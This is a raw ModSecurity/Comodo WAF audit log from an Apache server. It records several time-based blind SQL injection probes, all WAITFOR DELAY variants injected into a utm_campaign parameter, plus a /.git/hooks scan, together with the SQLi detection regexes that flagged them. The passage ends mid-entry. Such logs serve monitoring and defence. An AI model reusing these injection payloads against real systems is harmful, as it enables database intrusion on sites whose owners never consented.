proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023606647310 205515 (- - -) Stopwatch2: 1750023606647310 205515; combined=3135, p1=379, p2=2585, p3=0, p4=0, p5=170, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ae7614b-Z-- --543a690f-A-- [16/Jun/2025:03:10:07.961038 +0530] aE89t9kGqt_oHz6gRVdJMwAAAAw 172.68.194.159 54668 127.0.0.1 7081 --543a690f-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%288253%3D8253 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.194.159 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505395beeea35f8-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --543a690f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20WAITFOR%20DELAY%200:0:5%20AND%20(8253=8253 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --543a690f-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%288253%3D8253"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now) WAITFOR DELAY '0:0:5' AND (8253=8253 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and (8253=8253 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) waitfor delay '0:0:5' and (8253=8253"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%288253%3D8253"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89t9kGqt_oHz6gRVdJMwAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now) WAITFOR DELAY '0:0:5' AND (8253=8253 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89t9kGqt_oHz6gRVdJMwAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and (8253=8253 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) waitfor delay '0:0:5' and (8253=8253"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89t9kGqt_oHz6gRVdJMwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023607737640 223496 (- - -) Stopwatch2: 1750023607737640 223496; combined=4280, p1=399, p2=3710, p3=0, p4=0, p5=170, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --543a690f-Z-- --2b17a540-A-- [16/Jun/2025:03:10:09.094326 +0530] aE89uHZqyQ8YfVGvJU7Y3wAAAAY 172.69.150.144 54734 127.0.0.1 7081 --2b17a540-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%20%270%3A0%3A5%27 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.144 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053962ec0d4dac-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --2b17a540-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%200:0:5 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --2b17a540-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%20%270%3A0%3A5%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%20%270%3A0%3A5%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89uHZqyQ8YfVGvJU7Y3wAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89uHZqyQ8YfVGvJU7Y3wAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023608861247 233172 (- - -) Stopwatch2: 1750023608861247 233172; combined=3999, p1=358, p2=3494, p3=0, p4=0, p5=147, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b17a540-Z-- --8222e262-A-- [16/Jun/2025:03:10:10.097724 +0530] aE89uX2GhYywD7zZgx76YQAAAAM 185.177.72.210 53412 127.0.0.1 7081 --8222e262-B-- GET /.git/hooks/pre-applypatch HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8222e262-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=86ec9cbd448cb976fa96b751cc148a5c1750023609; expires=Sun, 15 Jun 2025 22:40:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8222e262-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/pre-applypatch"] [unique_id "aE89uX2GhYywD7zZgx76YQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023609436563 661237 (- - -) Stopwatch2: 1750023609436563 661237; combined=2480, p1=543, p2=1833, p3=0, p4=0, p5=104, sr=142, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8222e262-Z-- --c8c42479-A-- [16/Jun/2025:03:10:10.444839 +0530] aE89unZqyQ8YfVGvJU7Y4AAAAAY 172.71.172.166 53466 127.0.0.1 7081 --c8c42479-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27rYzl%27%3D%27rYzl HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.166 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053969ffc9d361-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --c8c42479-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20WAITFOR%20DELAY%200:0:5%20AND%20(rYzl=rYzl Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --c8c42479-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27rYzl%27%3D%27rYzl"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now') WAITFOR DELAY '0:0:5' AND ('rYzl'='rYzl found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and ('ryzl'='ryzl found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') waitfor delay '0:0:5' and ('ryzl'='ryzl"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27rYzl%27%3D%27rYzl"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89unZqyQ8YfVGvJU7Y4AAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now') WAITFOR DELAY '0:0:5' AND ('rYzl'='rYzl found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89unZqyQ8YfVGvJU7Y4AAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and ('ryzl'='ryzl found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') waitfor delay '0:0:5' and ('ryzl'='ryzl"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89unZqyQ8YfVGvJU7Y4AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023610225218 219748 (- - -) Stopwatch2: 1750023610225218 219748; combined=4303, p1=465, p2=3602, p3=0, p4=0, p5=235, sr=209, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8c42479-Z-- --74d13c5f-A-- [16/Jun/2025:03:10:12.161954 +0530] aE89u4l8S04UZ4l67-nemgAAAAk 162.158.94.176 53532 127.0.0.1 7081 --74d13c5f-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27wLGf%27%3D%27wLGf HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.176 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053974df82377c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --74d13c5f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20WAITFOR%20DELAY%200:0:5%20AND%20wLGf=wLGf Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --74d13c5f-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27wLGf%27%3D%27wLGf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now' WAITFOR DELAY '0:0:5' AND 'wLGf'='wLGf found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now' WAITFOR DELAY '0:0:5' AND 'wLGf'='wLGf found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: waitfor delay '0:0:5' and 'wlgf'='wlgf found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' waitfor delay '0:0:5' and 'wlgf'='wlgf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27wLGf%27%3D%27wLGf"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89u4l8S04UZ4l67-nemgAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now' WAITFOR DELAY '0:0:5' AND 'wLGf'='wLGf found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89u4l8S04UZ4l67-nemgAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: login-now' WAITFOR DELAY '0:0:5' AND 'wLGf'='wLGf found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89u4l8S04UZ4l67-nemgAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ 